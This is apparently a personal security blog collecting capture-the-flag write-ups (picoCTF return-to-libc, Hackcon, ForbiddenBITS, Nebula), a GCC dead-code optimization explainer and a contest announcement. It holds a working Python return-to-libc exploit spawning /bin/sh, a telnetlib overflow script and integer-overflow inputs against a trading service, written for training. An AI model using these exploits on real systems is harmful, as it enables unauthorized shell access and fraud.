Hacking

Return to libc attack


What if we are on a system with non-executable stack? Or a system that carefully distinguishes between data and instructions, so that our data will not be executable? Then the return address must be overwritten with an address of our choice that points at executable code that was present already.

In this example, I am going to explain a problem from 2013 picoCTF (overflow 5)

Dump of assembler code for function vuln:
   0x080484c0 :     sub    esp,0x41c
   0x080484c6 :     mov    eax,DWORD PTR [esp+0x420]
   0x080484cd :    mov    DWORD PTR [esp+0x4],eax
   0x080484d1 :    lea    eax,[esp+0x10]
   0x080484d5 :    mov    DWORD PTR [esp],eax
   0x080484d8 :    call   0x8048380 
   0x080484dd :    add    esp,0x41c
   0x080484e3 :    ret    
End of assembler dump.

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you’ll see something like this:

--------------------- 0xBFFFFFFF
|\x00 \x00 \x00 \x00| 0xBFFFFFFB (4 NULL byte)
|\x00 ........      | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

The standard trick is to use the system() libc library call. We’ll do a system("/bin/sh") call. Make the return address point at system(), and prepare the stack so that this routine finds its argument on the stack. We need the addresses of system() and "/bin/sh" and (for a clean exit) of exit().

First find the addresses of system() and exit() in libc

$ gdb overflow5-0353c1a83cb2fa0d                                                                                                                                               
gdb-peda$ break main
Breakpoint 1 at 0x80483c3
gdb-peda$ r
.
.
Breakpoint 1, 0x080483c3 in main ()
gdb-peda$ p system
$1 = {} 0xb7e5f060 
gdb-peda$ p exit
$2 = {} 0xb7e52be0

In-order to exploit this vulnerable program, you have to setup the program stack like this:
Stack

  • Above figure illustrates the contents of the stack after buffer overflow. First 1032 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 1032 bytes buffer empty or with ‘A’s
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buffer is empty as well. So first 1036 bytes of the buffer array could be empty or filled with any arbitrary value during the attack.
  • Originally next 4 bytes represent the return address of the vuln() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (1037 – 1040) was overridden with the memory address of the system() libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (1041 – 1044).
  • During the execution of system() function, program will look up next 4 bytes for any available arguments of system() function call (1045 – 1049). So this 4 bytes contains the address to “/bin/sh” string

.
This is how the exploit looks like:

#!/usr/bin/env python
from os import execve
from struct import pack
from platform import machine

system = 0xb7e5f060       # Address of system()
exit  = 0xb7e52be0        # Address of exit()

#  Program to exploit
vuln = "./overflow5-0353c1a83cb2fa0d"

arg = "/bin/sh"
env = {"":arg}

# Calculate address of binsh on stack
if machine() == 'x86_64': binsh = 0xffffe000 - 0x8 - len(vuln) - len(arg) - 0x2
else: binsh = 0xc0000000 - 0x4 - len(vuln) - len(arg) - 0x2

payload = "A" * 1036            # buffer + EBP
payload += pack("<I", system)   # system()
payload += pack("<I", exit)     # exit()
payload += pack("<I", binsh)    # addr("/bin/sh")

# Execute program with payload
execve(vuln, [vuln, payload], env)
Advertisements

Hackcon ’14 binary services


Service 1

We lately (just 2 hours before the contest was about to end) figured out that there were binary 3 services running on the server. And we were able to exploit just before the contest ended.

This is the link to the binary file:

After decompyling the binary, we were able to figure out theory behind the exploit. But as the “raw” socket service was running on a windows server, it took us a long time to figure out “how to exploit”.

  char Str2;
  int v13; 
  int v14; 
  int v15; 

  Str2 = 0;
  v14 = send(s, "Please enter your password: ", 28, 0);
  if ( v14 == -1 )
  {
    v1 = WSAGetLastError();
    printf("send failed with error %d\n", v1);
  }
  v15 = recv(s, &Str2, 36, 0);
  if ( v15 > 0 && v15 < 512 )
  {
    if ( v13 == 'TFSM' )
      read_flag(s);
    else
      read_flag_2(s, &Str2, 32);
  }

Telnet, python sockets etc didn’t work. And finally one of the admins published a hint that putty would be good choice to exploit it. Python telnetlib worked for us finally.
The POC: Our goal is to get the control to the function read_flag() which doesn’t check the password which we are passing. Str2 is 1 byte, we have v15, v14 and v13 on top of Str2. And we need to fill in v13 with TFSM.
Exploit:

import telnetlib, sys
attack_ip = '127.0.0.1'
port = 37517
exploit = "MSFT"*9

con = telnetlib.Telnet(att
con.read_until(':') + "\n"
con.write(exploit + "\n")

Which would print flag like this:

adjfgasdjkfgaskjdfgjkasdhgfhkajs

Hence we lost $500*N*T (N=number of time flags planted in our vuln machine, T=Total no of teams-1) points by not solving this on time.

Service 2

(will be update soon)

GCC code optimization


Recently, I came to know about dead code elimination technique used by compilers in-order to remove the code which does not effects the program results. The benefit of removing such a code has two benefits: it shrinks the program size, and it avoids running irrelevant stuffs such as to reduce the run time. Lets see an example in each case:

Example1

#include 
#define _ -F<00||--F-OO--;

int F=00,OO=00;

main() {
        F_OO();
        printf("%1.3f\n",4.*-F/OO/OO);
}

F_OO() {
            _-_-_-_
       _-_-_-_-_-_-_-_-_
    _-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_
    _-_-_-_-_-_-_-_-_-_-_-_
        _-_-_-_-_-_-_-_
            _-_-_-_
}

When we execute this program we get a value 0.250.

In C/C++, only during the time of pre-processing, the macros are substituted with the corresponding string defined. The code has a macro defined

#define _ -F<00||--F-OO--;

. which checks if ‘-F’ is less than zero. According the OR operator, the second condition will not be checked until or unless if the first condition (i.e the condition on the left side of the OR operator) returns false.

This is how the code looks upon pre-processing:

F_OO() {
            -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
       -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
    -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
  -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
 -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
 -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
-F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
-F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
-F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
-F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
 -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
 -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
  -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
    -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
        -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
            -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;- -F<00||--F-OO--;
}

Lets inspect the corresponding assembly code of the above given program without any optimization flag set is given below:

➜  A#1 (master) gcc circle.c -S 
➜  A#1 (master) less circle.s	
	.file	"circle.c"
	.globl	F
	.bss
	.align 4
	.type	F, @object
	.size	F, 4
F:
	.zero	4
	.globl	OO
	.align 4
	.type	OO, @object
	.size	OO, 4
OO:
	.zero	4
	.section	.rodata
.LC1:
	.string	"%1.3f\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	andl	$-16, %esp
	subl	$32, %esp
	call	F_OO
	movl	F, %eax
	negl	%eax
	movl	%eax, 28(%esp)
	fildl	28(%esp)
	fldl	.LC0
	fmulp	%st, %st(1)
	movl	OO, %eax
	movl	%eax, 28(%esp)
	fildl	28(%esp)
	fdivrp	%st, %st(1)
	movl	OO, %eax
	movl	%eax, 28(%esp)
	fildl	28(%esp)
	fdivrp	%st, %st(1)
	movl	$.LC1, %eax
	fstpl	4(%esp)
	movl	%eax, (%esp)
	call	printf
	leave
	.cfi_restore 5
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.globl	F_OO
	.type	F_OO, @function
F_OO:
.LFB1:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	movl	F, %eax
	negl	%eax
	testl	%eax, %eax
	js	.L607
	movl	F, %eax
	subl	$1, %eax
	movl	%eax, F
	movl	F, %edx
	movl	OO, %eax
	cmpl	%eax, %edx
	setne	%dl
	subl	$1, %eax
	movl	%eax, OO
	testb	%dl, %dl
.L607:
	nop
L5:
	movl	F, %eax
	testl	%eax, %eax
	js	.L608
	movl	F, %eax
	subl	$1, %eax
	movl	%eax, F
	movl	F, %edx
	movl	OO, %eax
	cmpl	%eax, %edx
	setne	%dl
	subl	$1, %eax
	movl	%eax, OO
	testb	%dl, %dl
.L608:
	nop
.
.
.
.L606:
	popl	%ebp
	.cfi_def_cfa 4, 4
	.cfi_restore 5
	ret
	.cfi_endproc
.LFE1:
	.size	F_OO, .-F_OO
	.section	.rodata
	.align 8
.LC0:
	.long	0
	.long	1074790400
	.ident	"GCC: (Ubuntu/Linaro 4.6.4-1ubuntu1~12.04) 4.6.4"
	.section	.note.GNU-stack,"",@progbits

Inside F_OO function, as every ‘_’ is replaced by -F<00||–F-OO–; statement. When the code is compiled with no optimization, as you can see the .L5: block in the above given assembly

L5:
	movl	F, %eax     // loads the value of F into eax
	testl	%eax, %eax  // checks if -F is less than zero
	js	.L608       // if true jumps to .L608 
	movl	F, %eax     // loads F into eax register
	subl	$1, %eax    // decrements the content of eax register by q
	movl	%eax, F     // moves back the value of eax register to F
	movl	F, %edx     // moves the value of F to edx register
	movl	OO, %eax    // moves the value of OO to eax register
	cmpl	%eax, %edx  // compares the values of eax and edx
	setne	%dl         // dl is set to 1 if the cmpl result is zero
	subl	$1, %eax    // decrements the value of eax register by 1
	movl	%eax, OO    // moves the decremented value of eax to OO 
	testb	%dl, %dl    // checks if higher bit is set or not
.L608:
	nop

The right side of the (-F<00||–F-OO–) OR operator is skipped if the first part becomes true.
So these lines will be unused if the first condition becomes true. Such lines are called dead code.

        js	.L608       // if true jumps to .L608 
	movl	F, %eax     // loads F into eax register
	subl	$1, %eax    // decrements the content of eax register by q
	movl	%eax, F     // moves back the value of eax register to F
	movl	F, %edx     // moves the value of F to edx register
	movl	OO, %eax    // moves the value of OO to eax register
	cmpl	%eax, %edx  // compares the values of eax and edx
	setne	%dl         // dl is set to 1 if the cmpl result is zero
	subl	$1, %eax    // decrements the value of eax register by 1
	movl	%eax, OO    // moves the decremented value of eax to OO 
	testb	%dl, %dl    // checks if higher bit is set or not

Now, lets compile the code with highest level of code optimization:

➜  A#1 (master) gcc circle.c -S -O3
➜  A#1 (master) less circle.s
	.file	"circle.c"
	.text
	.p2align 4,,15
	.globl	F_OO
	.type	F_OO, @function
F_OO:
.LFB23:
	.cfi_startproc
	movl	F, %eax   // F is loaded into eax register
	pushl	%esi      // value of esi is pushed into the stack
//The call frame is identified by an address on the stack. We refer to this address as the Canonical Frame Address or CFA. Typically, the CFA is defined to be the 
//value of the stack pointer at the call site in the previous frame (which may be different from its value on entry to the current frame).
	.cfi_def_cfa_offset 8  
	.cfi_offset 6, -8
	pushl	%ebx
	.cfi_def_cfa_offset 12
	.cfi_offset 3, -12
	movl	%eax, %edx  // content of F which is moved to eax is later moved to edx
	negl	%edx        // Sign of the value of edx is inversed
	testl	%edx, %edx  // checks if highest bit is enabled 
	js	.L2         // if not enabled Jumps to .L2 block
	subl	$1, OO      // decrements value of OO by 1
	subl	$1, %eax    // decrements the value of the eax by 1
	movl	%eax, F     // moves the decremented value of eax to F
.L2:
	testl	%eax, %eax  // tests if value of F is negative or not
	js	.L186       // if negative skips the right side of '||' condition
	movl	OO, %edx
	leal	-1(%eax), %ecx
	cmpl	$-1, %ecx
	movl	%ecx, F
	leal	-1(%edx), %ebx
	movl	%ebx, OO
	je	.L201
	leal	-2(%edx), %ecx
	cmpl	$1, %eax
	movl	%ecx, OO
	je	.L202
	subl	$3, %eax
	subl	$3, %edx
	movl	%eax, F
	movl	%edx, OO
.L186:
	movl	%eax, %edx
	negl	%edx
	testl	%edx, %edx
	js	.L5
.
.
.
.
.
.
L202:
.
.
L201:
	.cfi_restore_state
	orl	$-1, %eax
	jmp	.L186
.LFE23:
	.size	F_OO, .-F_OO
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"%1.3f\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4,,15
	.globl	main
	.type	main, @function
main:
.LFB22:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	andl	$-16, %esp
	subl	$32, %esp
	call	F_OO
	movl	F, %eax
	movl	$.LC1, 4(%esp)
	movl	$1, (%esp)
	negl	%eax
	movl	%eax, 28(%esp)
	fildl	OO
	fildl	28(%esp)
	fmuls	.LC0
	fdiv	%st(1), %st
	fdivp	%st, %st(1)
	fstpl	8(%esp)
	call	__printf_chk
	leave
	.cfi_restore 5
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE22:
	.size	main, .-main
	.globl	OO
	.bss
	.align 4
	.type	OO, @object
	.size	OO, 4
OO:
	.zero	4
	.globl	F
	.align 4
	.type	F, @object
	.size	F, 4
F:
	.zero	4
	.section	.rodata.cst4,"aM",@progbits,4
	.align 4
.LC0:
	.long	1082130432
	.ident	"GCC: (Ubuntu/Linaro 4.6.4-1ubuntu1~12.04) 4.6.4"
	.section	.note.GNU-stack,"",@progbits

As could see the the right side of the OR is written not near the left side of the same in-order to push away the unused the code. This is how the gcc optimizes the code.

Example 2

This is a sample code in which count is not used anywhere else than in the for loop.

#include 
main() {
    int i, count = 0;
    for(i = 0; i < 2000000000; i++)
        count = count + 1;
}
➜  test  gcc test.c -S
➜  test  less test.s
        .file   "test.c"
        .text
        .globl  main
        .type   main, @function
main:
.LFB0:
        .cfi_startproc
        pushl   %ebp
        .cfi_def_cfa_offset 8
        .cfi_offset 5, -8
        movl    %esp, %ebp
        .cfi_def_cfa_register 5
        subl    $16, %esp
        movl    $0, -4(%ebp) // i = 0
        movl    $0, -8(%ebp) // count = 0
        jmp     .L2          // get into the for loop
.L3:
        addl    $1, -4(%ebp) // i++
        addl    $1, -8(%ebp) // count = count + 1
.L2:
        cmpl    $1999999999, -8(%ebp) // i< 1999999999
        jle     .L3                   // if cmpl is true jumps and increments count and i
        leave                         // end of one iteration  
        .cfi_restore 5                       
        .cfi_def_cfa 4, 4
        ret
        .cfi_endproc
.LFE0:
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 4.6.4-1ubuntu1~12.04) 4.6.4"
        .section        .note.GNU-stack,"",@progbits

Lets use the highest level of optimization in the same code while compiling.

➜  test  gcc test.c -S -O3
➜  test  less test.s
       .file   "test.c"
        .section        .text.startup,"ax",@progbits
        .p2align 4,,15
        .globl  main
        .type   main, @function
main:
.LFB22:
        .cfi_startproc // main starts
        rep
        ret // main ends
        .cfi_endproc
.LFE22:
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 4.6.4-1ubuntu1~12.04) 4.6.4"
        .section        .note.GNU-stack,"",@progbits

In this case, the compiler removes the dead lines from the compiled code. See you cannot find the declaration of i, count and even the for loop has disappeared.

Lets see what’s the difference between the execution time when we run the code with and without optimization

Without compiler optimization

➜  test  gcc test.c  
➜  test  time ./a.out
./a.out  4.23s user 0.00s system 99% cpu 4.241 total

With compiler optimization

➜  test  gcc test.c -O3
➜  test  time ./a.out 
./a.out  0.00s user 0.00s system 0% cpu 0.002 total

In the first case, for loop is executed hence it took a lot of time to execute when as in the second case, the compiler has optimized and removed the for loop and due to that the execution time is approximately zero.

References:
[1] http://en.wikipedia.org/wiki/International_Obfuscated_C_Code_Contest
[2] http://stackoverflow.com/questions/8841865/how-does-gcc-optimize-c-code

ForbiddenBITSCTF x94 Machine


This challenge was similar and little bit easier than x93 (it doesn’t require any scripts :-P). There was an integer overflow attack in this challenge and then you can exchange huge money to USD >= $5000.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           
 _    _  94   _________   ______   ______  _    _  _____  ______   ______                                                                                                                                          
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |                                                                                                                                              
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----                                                                                                                                          
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____                                                                                                                                          

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           

Really Wanna Trade with us ? yes/no                                                                                                                                                                                
yes                                                                                                                                                                                                                

Enter Username :                                                                                                                                                                                                   
SAM                                                                                                                                                                                                                

Welcome SAM                                                                                                                                                                                                        

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                                                                                                                                                                                                                                  
1                                                                                                                                                                                                      
Your Balance : 100 USD , 100 EUR , 100 GBP                                                                                                                                                                         

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                
2                                                                                                                                                                                                                  

Enter Destination currency                                                                                                                                                                                         
GBP

Enter Source currency
EUR

Enter Amount
-20000000000000

Your Balance : 100 USD , 20000000000100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
USD  

Enter Source currency
EUR

Enter Amount
10000

Your Balance : 10900 USD , 19999999990100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4

FLAG{54f882f08e3baab9d21e5f2aec4d85646a718181}

ForbiddenBITS CTF 2013 x93 Machine


I have never participated in any CTFs after last years IFSF CTF. So I thought to start actively participate in all upcoming CTFs from this year’s ForbiddenbitsCTF. I solved two challenges in this contest. There was a service running in 95.170.83.28 3003 and we were asked to enter the restricted area by having a balance more than $5000. We were only given 100$, 100 Euros and 100 GBP as the main balance. After a lot of struggle, I found a bug in the program that if you exchange money within your account (i.e from GBP to EURO and vice-versa) after a single rotation, the balance will be increased by 100.1 EURO’s. Then I didn’t waste much time to write a script :-p I did it manually (of course it took very less time as they asked only balance above 5000 USD)

$ nc 95.170.83.28 3003
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  93   _________   ______   ______  _    _  _____  ______   ______ 
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |     
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |---- 
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____ 

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Really Wanna Trade with us ? yes/no
yes
Enter Username :
SAM

Welcome SAM

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR

Enter Source currency
GBP

Enter Amount
100

Your Balance : 100 USD , 253.85 EUR , 0 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
GBP

Enter Source currency
EUR

Enter Amount
253.85

Your Balance : 100 USD , 0 EUR , 218.31 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR

Enter Source currency
GBP

Enter Amount
218.31

Your Balance : 100 USD , 335.86 EUR , 0 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
GBP

Enter Source currency
EUR

Enter Amount
335.86

Your Balance : 100 USD , 0 EUR , 288.84 GBP

.
.
.
.
.
.
.

Your Balance : 6062.7 USD, 0 EUR , 0 GBP

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4
FLAG{7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0}

Announcing InCTF 2013


Amrita University & Amrita Centre for Cyber Security

proudly present

InCTF ’13

National Level “Capture the Flag” style ethical hacking contest



Not a day passes when several machines are compromised and infections spread rampantly in the world today. The cyber world has witnessed several dangerous attacks including the Stuxnet virus and it’s successor Duqu. Other recent attacks include the Flame malware, which managed to disguise itself as a legitimate Windows software. It exploited a bug in Windows to obtain a certificate which allowed itself to authenticate itself as genuine Windows software. Other notable examples include rise of botnets such as the highly resilient Zeus banking trojan and the Conficker worm. There have also been instances of espionage by government agencies on one another such as the recent incident where Georgia CERT discovered a Russian hacker spying on them.

 

Indian websites offer little or no resistance to such security incidents. The Computer Emergency Response Team, India(Cert-In) has been tracking defacements of Indian websites amongst other security incidents. Their monthly and annual bulletins detail the various vulnerabilities and malware infections in various Indian websites. It’s really sad that with so much talent and skill, Indian websites are compromised frequently and nothing can be done to stand this wave of attacks on them.

 

InCTF is a Capture the Flag style ethical hacking contest, a strategic war-game designed to mimic the real world security challenges. Software developers in India have little exposure to secure coding practices and the effects of not adopting such practices-one of the main reasons why systems are compromised quite easily these. Following such simple practices can help prevent such incidents.


InCTF ‘13 is from December 2012 to April 2013 and is focused exclusively on the student community. You can participate from your own university and no travel is required. No prior exposure or experience in cyber security needed to participate.

What you need to do?
1. Form a team (minimum three and maximum five members from your college)
2. Approach a faculty/mentor and request him/her to mentor your team
3. Register online at http://portal.inctf.in

Great Rewards

20K The winning team receives a cash prize of up to Rs. 20000/-
15K The first runner-up team receives a cash prize of up to Rs. 15000/-
10K The second runner-up team receives a cash prize of up to Rs. 10000/-

Nebula – Level08


This level was much more easier for me when compared to previous level. When I logged into level08, I found a PCAP file in /home/flag08. I copied that file into my local machine and opened it using Wireshark. When I found that all the protocols in the captured packets are TCP, I ran a Follow TCP Stream inside Wireshark. Which gave me something like this:
I tried to use "backdoor...00Rm8.ate" as the password to flag08, But it didn’t work :-/ Then I opened up this link and found out that 0x7F means delete. So I deleted "oor" and "8" from "backdoor...00Rm8.ate" to get the actual password of the flag08 user -> "backd00Rmate" Then I logged in as flag08 user like given below and ran get flag!

level08@nebula:~$ ssh flag08@localhost

      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  

    exploit-exercises.com/nebula

For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).

flag08@localhost's password: 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag08@nebula:~$ id
uid=991(flag08) gid=991(flag08) groups=991(flag08)
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account